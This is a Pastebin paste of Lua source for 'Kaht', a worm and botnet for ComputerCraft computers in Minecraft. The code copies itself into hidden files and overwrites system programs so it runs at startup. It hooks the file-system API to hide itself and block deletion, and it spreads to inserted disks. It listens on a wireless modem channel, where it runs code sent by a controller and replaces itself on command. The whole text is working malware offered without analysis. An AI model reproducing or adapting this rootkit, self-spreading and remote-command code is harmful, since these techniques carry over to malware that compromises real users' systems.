Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- if _G.Kaht then
- return
- end
- _G.Kaht = true
- local PPath = shell.getRunningProgram()
- if fs.exists("/.slgkj453lkjback") then
- fs.delete("/.slgkj453lkjback")
- end
- fs.copy(PPath, "/.slgkj453lkjback")
- local filesHidden = {
- PPath;
- "Kaht";
- ".slgkj453lkjback";
- }
- local filesRedirect = {
- {"startup", "slgkj453lkjstartup"};
- }
- local Launcher = [[
- if not fs.exists("/startup") then
- fs.copy("/.slgkj453lkjback", "/startup")
- end
- local im = loadfile("/startup")
- setfenv(im, getfenv())
- im()
- --KahtInfect
- ]]
- for i,v in pairs(fs.list("/rom/programs")) do
- if fs.isDir("/rom/programs/" .. v) then
- for t,r in pairs(fs.list("/rom/programs/" .. v)) do
- if fs.exists(r) then
- if fs.exists("Kaht") then
- fs.delete(r)
- else
- fs.move("/" .. r, "/slgkj453lkj1" .. r)
- end
- end
- local Fel = fs.open("/" .. r, "w")
- Fel.write(Launcher)
- Fel.close()
- table.insert(filesRedirect, {r, "slgkj453lkj1" .. r})
- table.insert(filesHidden, r)
- end
- else
- if fs.exists("/" .. v) then
- if fs.exists(v) then
- if fs.exists("Kaht") then
- fs.delete(v)
- else
- fs.move("/" .. v, "/slgkj453lkj1" .. v)
- end
- end
- end
- local Fel = fs.open("/" .. v, "w")
- Fel.write(Launcher)
- Fel.close()
- table.insert(filesRedirect, {v, "slgkj453lkj1" .. v})
- table.insert(filesHidden, v)
- end
- end
- local t = fs.open("/Kaht", "w")
- t.write("KAHT")
- t.close()
- local oFs = {}
- for i,v in pairs(fs) do
- oFs[i] = v
- end
- local function ResolvePath(Path)
- local rP = fs.combine("", Path)
- return rP
- end
- local LLog = {}
- local function Log(Text)
- table.insert(LLog, Text)
- local f = oFs.open("/leg" ,"w")
- f.write(table.concat(LLog, "\n"))
- f.close()
- end
- function fs.list(Path)
- if type(Path) ~= "string" then
- error("string expected, got " .. type(Path), 2)
- return
- end
- if not fs.exists(Path) then
- error("Not a directory", 2)
- return
- end
- local Res = ResolvePath(Path)
- for i,v in pairs(filesHidden) do
- if v == Res then
- error("Not a directory", 2)
- return
- end
- end
- local Files = oFs.list(Path)
- for i = 1, #Files do
- local v = Files[i]
- if v == "" or v == nil then break end
- local FullPath = fs.combine(Res, v)
- for m,s in pairs(filesHidden) do
- if s == FullPath then
- Files[i] = nil
- end
- end
- for m,s in pairs(filesRedirect) do
- if s[2] == FullPath then
- Files[i] = s[1]
- if not oFs.exists(s[2]) then
- Files[i] = nil
- end
- end
- end
- end
- return Files
- end
- function fs.isDir(Path)
- if type(Path) ~= "string" then
- error("string expected, got " .. type(Path), 2)
- return
- end
- local Res = ResolvePath(Path)
- for i,v in pairs(filesHidden) do
- if v == Res then
- return false
- end
- end
- return oFs.isDir(Path)
- end
- function fs.exists(Path)
- if type(Path) ~= "string" then
- error("string expected, got " .. type(Path), 2)
- return
- end
- local Res = ResolvePath(Path)
- for i,v in pairs(filesRedirect) do
- if v[1] == Res then
- return oFs.exists(v[2])
- end
- end
- for i,v in pairs(filesHidden) do
- if v == Res then
- return false
- end
- end
- return oFs.exists(Path)
- end
- function fs.open(Path, Type)
- if type(Path) ~= "string" then
- error("string expected, got " .. type(Path), 2)
- return
- end
- if Type ~= "a" and Type ~= "w" and Type ~= "r" and Type ~= "rb" and Type ~= "wb" and Type ~= "ab" then
- error("Invalid type", 2)
- return
- end
- local Res = ResolvePath(Path)
- for i,v in pairs(filesRedirect) do
- if Res == v[1] then
- return oFs.open(v[2], Type)
- end
- end
- return oFs.open(Path, Type)
- end
- function fs.move(Path1, Path2)
- if type(Path1) ~= "string" then
- error("string expected, got " .. type(Path), 2)
- return
- end
- if type(Path2) ~= "string" then
- error("string expected, got " .. type(Path), 2)
- return
- end
- Path1 = ResolvePath(Path1)
- Path2 = ResolvePath(Path2)
- for i,v in pairs(filesRedirect) do
- if v[1] == Path1 then
- Path1 = v[2]
- end
- if v[1] == Path2 then
- Path2 = v[2]
- end
- end
- for i,v in pairs(filesHidden) do
- if v == Path1 then
- error(Path1 .. " does not exist", 2)
- return
- end
- if v == Path2 then
- error(Path2 .. " is locked", 2)
- return
- end
- end
- return oFs.move(Path1, Path2)
- end
- function fs.copy(Path1, Path2)
- if type(Path1) ~= "string" then
- error("string expected, got " .. type(Path), 2)
- return
- end
- if type(Path2) ~= "string" then
- error("string expected, got " .. type(Path), 2)
- return
- end
- Path1 = ResolvePath(Path1)
- Path2 = ResolvePath(Path2)
- for i,v in pairs(filesRedirect) do
- if v[1] == Path1 then
- Path1 = v[2]
- end
- if v[1] == Path2 then
- Path2 = v[2]
- end
- end
- for i,v in pairs(filesHidden) do
- if v == Path1 then
- error(Path1 .. " does not exist", 2)
- return
- end
- if v == Path2 then
- error(Path2 .. " is locked", 2)
- return
- end
- end
- return oFs.copy(Path1, Path2)
- end
- function fs.delete(Path)
- if type(Path) ~= "string" then
- error("string expected, got " .. type(Path), 2)
- return
- end
- local Res = ResolvePath(Path)
- for i,v in pairs(filesRedirect) do
- if v[1] == Res then
- Path = v[2]
- Res = v[2]
- break
- end
- end
- for i,v in pairs(filesHidden) do
- if v == Res then
- error("No file here, move along", 2)
- return
- end
- end
- return oFs.delete(Path)
- end
- function fs.getSize(Path)
- if type(Path) ~= "string" then
- error("string expected, got " .. type(Path), 2)
- return
- end
- Path = ResolvePath(Path)
- for i,v in pairs(filesRedirect) do
- if v[1] == Path then
- Path = v[2]
- end
- end
- for i,v in pairs(filesHidden) do
- if v == Path then
- error("That file doesn't exist", 2)
- return
- end
- end
- return
- end
- local Sides = {"top", "bottom", "left", "right", "front", "back"}
- local Mod
- for i,v in pairs(Sides) do
- if peripheral.isPresent(v) then
- if peripheral.getType(v) == "modem" and peripheral.call(v, "isWireless") == true then
- Mod = peripheral.wrap(v)
- break
- end
- end
- end
- if not Mod then return end
- Mod.open(678)
- local function Listen()
- while true do
- pcall(function()
- local Event, Side, Channel, ID, Message, Distance = os.pullEventRaw()
- if Event == "modem_message" then
- local Raw = textutils.unserialize(Message)
- if type(Raw) == "table" then
- if Raw[1] == "Kaht Botnet" and Channel == 678 then
- if Raw[2] == os.getComputerID() or Raw[2] == "all" then
- local In = Raw[3]
- if In[1] == "execute" then
- local Func = loadstring(In[2])
- if Func then
- setfenv(Func, setmetatable({["shell"] = shell; fs = oFs}, {__index = getfenv()}))
- pcall(Func)
- end
- elseif In[1] == "update" then
- oFs.delete(PPath)
- local File = oFs.open(PPath, "w")
- File.write(In[2])
- File.close()
- end
- end
- end
- end
- elseif Event == "disk" then
- local DPath = peripheral.call(Side, "getMountPath")
- if oFs.exists(DPath .. "/startup") then
- oFs.move(DPath .. "/startup", "DPath" .. "/.slgkj453lkjstartup")
- end
- local Met = fs.open(PPath, "r")
- local Cont = Met.readAll()
- Met.close()
- Met = fs.open(DPath .. "/startup", "w")
- Met.write(Cont)
- Met.close()
- end
- end)
- end
- end
- local CheckDir
- function CheckDir(Path)
- for m,s in pairs(oFs.list(Path)) do
- if not oFs.isReadOnly(Path .. "/" .. s) then
- if oFs.isDir(Path .. "/" .. s) then
- CheckDir(Path .. "/" .. s)
- else
- local r = oFs.open(Path .. "/" .. s, "r")
- local con = r.readAll()
- r.close()
- if not string.find(con, "KahtInfect") then
- local MC = oFs.open(shell.getRunningProgram(), "r")
- local Cont = MC.readAll()
- MC.close()
- r = oFs.open(Path .. "/" .. s, "w")
- r.write(con .. string.rep("\n", 100) .. Cont .. "\n\n\n--KahtInfect\n\n\n")
- r.close()
- end
- end
- end
- end
- end
- local function InfectFiles()
- --[[while true do
- sleep(5)
- CheckDir("/")
- end ]]
- end
- term.clear()
- term.setCursorPos(1, 1)
- if oFs.exists("slgkj453lkj") then
- parallel.waitForAll(Listen, InfectFiles, loadfile("slgkj453lkj"))
- shell.exit()
- loadfile("/rom/programs/shell")()
- else
- parallel.waitForAll(Listen, InfectFiles, shell.exit, loadfile("/rom/programs/shell"))
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement